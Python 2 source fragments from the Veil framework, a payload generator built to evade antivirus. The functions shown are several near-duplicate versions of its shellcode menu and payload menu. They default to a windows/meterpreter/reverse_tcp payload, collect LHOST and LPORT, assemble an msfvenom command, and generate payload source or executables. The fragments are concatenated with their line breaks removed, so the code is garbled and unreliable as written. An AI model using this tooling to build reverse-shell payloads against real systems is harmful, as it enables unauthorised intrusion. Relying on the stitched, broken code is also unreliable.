def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ payloadSelected = None options = None # if no generation method has been selected yet if self.msfvenomCommand == "" and self.customshellcode == "": # prompt for custom shellcode customShellcode = self.custShellcodeMenu() # if custom shellcode is specified, set it if customShellcode: self.customshellcode = customShellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completers.MSFCompleter(self.payloadTree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while payloadSelected == None: print '\n [*] Press [enter] for windows/meterpreter/reverse_tcp' print ' [*] Press [tab] to list available payloads' payloadSelected = raw_input(' [>] Please enter metasploit payload: ').strip() if payloadSelected == "": # default to reverse_tcp for the payload payloadSelected = "windows/meterpreter/reverse_tcp" try: parts = payloadSelected.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payloadTree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload print helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True) payloadSelected = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = payloadSelected # request a value for each required option for option in options: value = "" while value == "": ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": # set the completer to fill in the local IP readline.set_completer(completers.IPCompleter().complete) value = raw_input(' [>] Enter value for \'LHOST\', [tab] for local IP: ') if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value): print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True) value = "" # otherwise assume we've been passed a domain name else: if not helpers.isValidHostname(value): print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True) value = "" # if we don't have at least one period in the hostname/IP else: print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" elif ':' in value: try: socket.inet_pton(socket.AF_INET6, value) except socket.error: print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" else: print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" # LPORT validation else: # set the completer to fill in the default MSF port (4444) readline.set_completer(completers.MSFPortCompleter().complete) value = raw_input(' [>] Enter value for \'' + option + '\': ') if option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True) value = "" except ValueError: print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True) value = "" # append all the msfvenom options self.msfvenomOptions.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extraValues = list() while True: # clear out the tab completion readline.set_completer(completers.none().complete) selection = raw_input(' [>] Enter extra msfvenom options in -OPTION=value or syntax: ') if selection != "": num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt is not '': final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1] extraValues.append(final_opt) else: break # grab any specified msfvenom options in the /etc/veil/settings.py file msfvenomOptions = "" if hasattr(settings, "MSFVENOM_OPTIONS"): msfvenomOptions = settings.MSFVENOM_OPTIONS # build out the msfvenom command # TODO: detect Windows and modify the paths appropriately self.msfvenomCommand = "msfvenom " + msfvenomOptions + " -p " + payloadSelected for option in self.msfvenomOptions: self.msfvenomCommand += " " + option self.options.append(option) if len(extraValues) != 0 : self.msfvenomCommand += " " + " ".join(extraValues) self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"
def PayloadMenu(self, payload, showTitle=True, args=None): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payloadCommands, self.payload) readline.set_completer_delims(" \t\n;") readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() # extract the payload class name from the instantiated object # YES, I know this is a giant hack :( # basically need to find "payloads" in the path name, then build # everything as appropriate payloadname = "/".join( str(str(payload.__class__)[str(payload.__class__).find("payloads") :]).split(".")[0].split("/")[1:] ) print "\n Payload: " + helpers.color(payloadname) + " loaded\n" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [%s>>]: " % payloadname).strip() if choice != "": parts = choice.strip().split() cmd = parts[0].lower() # display help menu for the payload if cmd == "info": self.PayloadInfo(payload) choice = "" if cmd == "help": messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if cmd == "main" or cmd == "back" or cmd == "home": # finished = True return "" # self.MainMenu() if cmd == "exit" or cmd == "end" or cmd == "quit": raise KeyboardInterrupt # Update Veil via git if cmd == "update": self.UpdateVeil() # set specific options if cmd == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color(" [!] ERROR: no value supplied\n", warning=True) else: option = parts[1].upper() value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": if "." in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value, ): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True ) else: try: payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) except KeyError: print helpers.color( "\n [!] ERROR #1: Specify LHOST value in the following screen.\n", warning=True, ) except AttributeError: print helpers.color( "\n [!] ERROR #2: Specify LHOST value in the following screen.\n", warning=True, ) # assume we've been passed a domain name else: if helpers.isValidHostname(value): payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) else: print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True ) else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True ) elif ":" in value: try: socket.inet_pton(socket.AF_INET6, value) payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) except socket.error: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True ) value = "" else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True ) value = "" # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) except KeyError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True, ) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True, ) except ValueError: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value print " [*] %s => %s" % (option, value) except: print helpers.color(" [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if cmd == "generate" or cmd == "gen" or cmd == "run" or cmd == "go" or cmd == "do" or cmd == "make": # make sure all required options are filled in first if self.ValidatePayload(payload): # finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode, args=args) else: print helpers.color("\n [!] WARNING: not all required options filled\n", warning=True) if cmd == "options": # if required options were specified, output them if hasattr(self.payload, "required_options"): self.PayloadOptions(self.payload)
def PayloadMenu(self, payload, showTitle=True): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: messages.title() print " Payload: " + helpers.color(payload.language + "/" + payload.shortname) + " loaded" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [>] Please enter a command: ").strip() if choice != "": parts = choice.strip().split() # display help menu for the payload if parts[0] == "info": self.PayloadInfo(payload) choice = "" if parts[0] == "help": if len(parts) > 1: if parts[1] == "crypters" or parts[1] == "[crypters]": messages.helpCrypters() else: messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if parts[0] == "main" or parts[0] == "back": #finished = True return "" #self.MainMenu() if parts[0] == "exit": raise KeyboardInterrupt # Update Veil via git if parts[0] == "update": self.UpdateVeil() # set specific options if parts[0] == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color(" [!] ERROR: no value supplied\n", warning=True) else: option = parts[1] value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value): print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True) else: try: payload.required_options[option][0] = value except KeyError: print helpers.color("\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) except AttributeError: print helpers.color("\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) # assume we've been passed a domain name else: if helpers.isValidHostname(value): pass else: print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True) else: print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][0] = value except KeyError: print helpers.color("\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except AttributeError: print helpers.color("\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except ValueError: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value except: print helpers.color(" [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if parts[0] == "generate": # make sure all required options are filled in first if self.ValidatePayload(payload): #finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode) else: print helpers.color("\n [!] WARNING: not all required options filled\n", warning=True)
def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ payloadSelected = None options = None showMessage = False if settings.TERMINAL_CLEAR != "false": showMessage = True # if no generation method has been selected yet if self.msfvenomCommand == "" and self.customshellcode == "": # show banner? if settings.TERMINAL_CLEAR != "false": showMessage = True # prompt for custom shellcode or msfvenom customShellcode = self.custShellcodeMenu(showMessage) # if custom shellcode is specified, set it if customShellcode: self.customshellcode = customShellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completers.MSFCompleter(self.payloadTree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while payloadSelected == None: print '\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True) print ' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True) try: payloadSelected = self.required_options['MSF_PAYLOAD'][0] print ' [>] Please enter metasploit payload: %s' % (payloadSelected) except: payloadSelected = raw_input(' [>] Please enter metasploit payload: ').strip() if payloadSelected == "": # default to reverse_tcp for the payload payloadSelected = "windows/meterpreter/reverse_tcp" try: parts = payloadSelected.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payloadTree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload if 'PAYLOAD' in self.required_options: del self.required_options['PAYLOAD'] print helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True) payloadSelected = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = payloadSelected # request a value for each required option for option in options: value = "" while value == "": ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": try: value = self.required_options['LHOST'][0] print ' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value) except: # set the completer to fill in the local IP readline.set_completer(completers.IPCompleter().complete) value = raw_input(' [>] Enter value for \'LHOST\', [tab] for local IP: ').strip() if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value): if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True) value = "" # otherwise assume we've been passed a domain name else: if not helpers.isValidHostname(value): if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True) value = "" # if we don't have at least one period in the hostname/IP else: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" elif ':' in value: try: socket.inet_pton(socket.AF_INET6, value) except socket.error: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" else: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" elif option == "LPORT": try: value = self.required_options['LPORT'][0] print ' [>] Enter value for \'LPORT\': %s' % (value) except: # set the completer to fill in the default MSF port (4444) readline.set_completer(completers.MSFPortCompleter().complete) value = raw_input(' [>] Enter value for \'LPORT\': ').strip() try: if int(value) <= 0 or int(value) >= 65535: print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True) if 'LPORT' in self.required_options: del self.required_options['LPORT'] value = "" except ValueError: print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True) if 'LPORT' in self.required_options: del self.required_options['LPORT'] value = "" else: value = raw_input(' [>] Enter value for \'' + option + '\': ').strip() # append all the msfvenom options self.msfvenomOptions.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extraValues = list() while True: # clear out the tab completion readline.set_completer(completers.none().complete) selection = raw_input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 OPTION2=value2): ').strip() if selection != "": num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt is not '': final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1] extraValues.append(final_opt) else: break # grab any specified msfvenom options in the /etc/veil/settings.py file msfvenomOptions = "" if hasattr(settings, "MSFVENOM_OPTIONS"): msfvenomOptions = settings.MSFVENOM_OPTIONS # build out the msfvenom command # TODO: detect Windows and modify the paths appropriately self.msfvenomCommand = "msfvenom " + msfvenomOptions + " -p " + payloadSelected for option in self.msfvenomOptions: self.msfvenomCommand += " " + option self.options.append(option) if len(extraValues) != 0 : self.msfvenomCommand += " " + " ".join(extraValues) self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"
def PayloadMenu(self, payload, showTitle=True): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: messages.title() print " Payload: " + helpers.color(payload.language + "/" + payload.shortname) + " loaded" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [>] Please enter a command: ").strip() if choice != "": parts = choice.strip().split() # display help menu for the payload if parts[0] == "info": self.PayloadInfo(payload) choice = "" if parts[0] == "help": if len(parts) > 1: if parts[1] == "crypters" or parts[ 1] == "[crypters]": messages.helpCrypters() else: messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if parts[0] == "main" or parts[0] == "back": #finished = True return "" #self.MainMenu() if parts[0] == "exit": raise KeyboardInterrupt # Update Veil via git if parts[0] == "update": self.UpdateVeil() # set specific options if parts[0] == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color( " [!] ERROR: no value supplied\n", warning=True) else: option = parts[1] value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True) else: try: payload.required_options[ option][0] = value except KeyError: print helpers.color( "\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) # assume we've been passed a domain name else: if helpers.isValidHostname(value): pass else: print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True) else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][ 0] = value except KeyError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except ValueError: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value except: print helpers.color( " [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if parts[0] == "generate": # make sure all required options are filled in first if self.ValidatePayload(payload): #finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode) else: print helpers.color( "\n [!] WARNING: not all required options filled\n", warning=True)
def PayloadMenu(self, payload, showTitle=True, args=None): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payloadCommands, self.payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() # extract the payload class name from the instantiated object # YES, I know this is a giant hack :( # basically need to find "payloads" in the path name, then build # everything as appropriate payloadname = "/".join( str( str(payload.__class__) [str(payload.__class__).find("payloads"):]).split(".") [0].split("/")[1:]) print "\n Payload: " + helpers.color(payloadname) + " loaded\n" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [%s>>]: " % payloadname).strip() if choice != "": parts = choice.strip().split() cmd = parts[0].lower() # display help menu for the payload if cmd == "info": self.PayloadInfo(payload) choice = "" if cmd == "help": messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if cmd == "main" or cmd == "back" or cmd == "home": #finished = True return "" #self.MainMenu() if cmd == "exit" or cmd == "end" or cmd == "quit": raise KeyboardInterrupt # Update Veil via git if cmd == "update": self.UpdateVeil() # set specific options if cmd == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color( " [!] ERROR: no value supplied\n", warning=True) else: option = parts[1].upper() value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True) else: try: payload.required_options[ option][0] = value print " [i] %s => %s" % ( option, value) except KeyError: print helpers.color( "\n [!] ERROR #1: Specify LHOST value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR #2: Specify LHOST value in the following screen.\n", warning=True) # assume we've been passed a domain name else: if helpers.isValidHostname(value): payload.required_options[ option][0] = value print " [i] %s => %s" % ( option, value) else: print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True) else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) elif ':' in value: try: socket.inet_pton( socket.AF_INET6, value) payload.required_options[option][ 0] = value print " [i] %s => %s" % (option, value) except socket.error: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][ 0] = value print " [i] %s => %s" % (option, value) except KeyError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except ValueError: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value print " [*] %s => %s" % (option, value) except: print helpers.color( " [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if cmd == "generate" or cmd == "gen" or cmd == "run" or cmd == "go" or cmd == "do" or cmd == "make": # make sure all required options are filled in first if self.ValidatePayload(payload): #finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode, args=args) else: print helpers.color( "\n [!] WARNING: not all required options filled\n", warning=True) if cmd == "options": # if required options were specified, output them if hasattr(self.payload, 'required_options'): self.PayloadOptions(self.payload)
def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ payloadSelected = None options = None # if no generation method has been selected yet if self.msfvenomCommand == "" and self.customshellcode == "": # prompt for custom shellcode customShellcode = self.custShellcodeMenu() # if custom shellcode is specified, set it if customShellcode: self.customshellcode = customShellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completers.MSFCompleter(self.payloadTree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while payloadSelected == None: print '\n [*] Press [enter] for windows/meterpreter/reverse_tcp' print ' [*] Press [tab] to list available payloads' payloadSelected = raw_input( ' [>] Please enter metasploit payload: ').strip() if payloadSelected == "": # default to reverse_tcp for the payload payloadSelected = "windows/meterpreter/reverse_tcp" try: parts = payloadSelected.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payloadTree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload print helpers.color( " [!] ERROR: Invalid payload specified!\n", warning=True) payloadSelected = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = payloadSelected # request a value for each required option for option in options: value = "" while value == "": ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": # set the completer to fill in the local IP readline.set_completer( completers.IPCompleter().complete) value = raw_input( ' [>] Enter value for \'LHOST\', [tab] for local IP: ' ) hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True) value = "" # otherwise assume we've been passed a domain name else: if not helpers.isValidHostname(value): print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True) value = "" # if we don't have at least one period in the hostname/IP else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" # LPORT validation else: # set the completer to fill in the default MSF port (4444) readline.set_completer( completers.MSFPortCompleter().complete) value = raw_input(' [>] Enter value for \'' + option + '\': ') if option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color( " [!] ERROR: Bad port number specified.\n", warning=True) value = "" except ValueError: print helpers.color( " [!] ERROR: Bad port number specified.\n", warning=True) value = "" # append all the msfvenom options self.msfvenomOptions.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extraValues = list() while True: selection = raw_input( ' [>] Enter extra msfvenom options in OPTION=value syntax: ' ) if selection != "": extraValues.append(selection) else: break # build out the msfvenom command # TODO: detect Windows and modify the paths appropriately self.msfvenomCommand = "msfvenom -p " + payloadSelected for option in self.msfvenomOptions: self.msfvenomCommand += " " + option self.options.append(option) if len(extraValues) != 0: self.msfvenomCommand += " " + " ".join(extraValues) self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"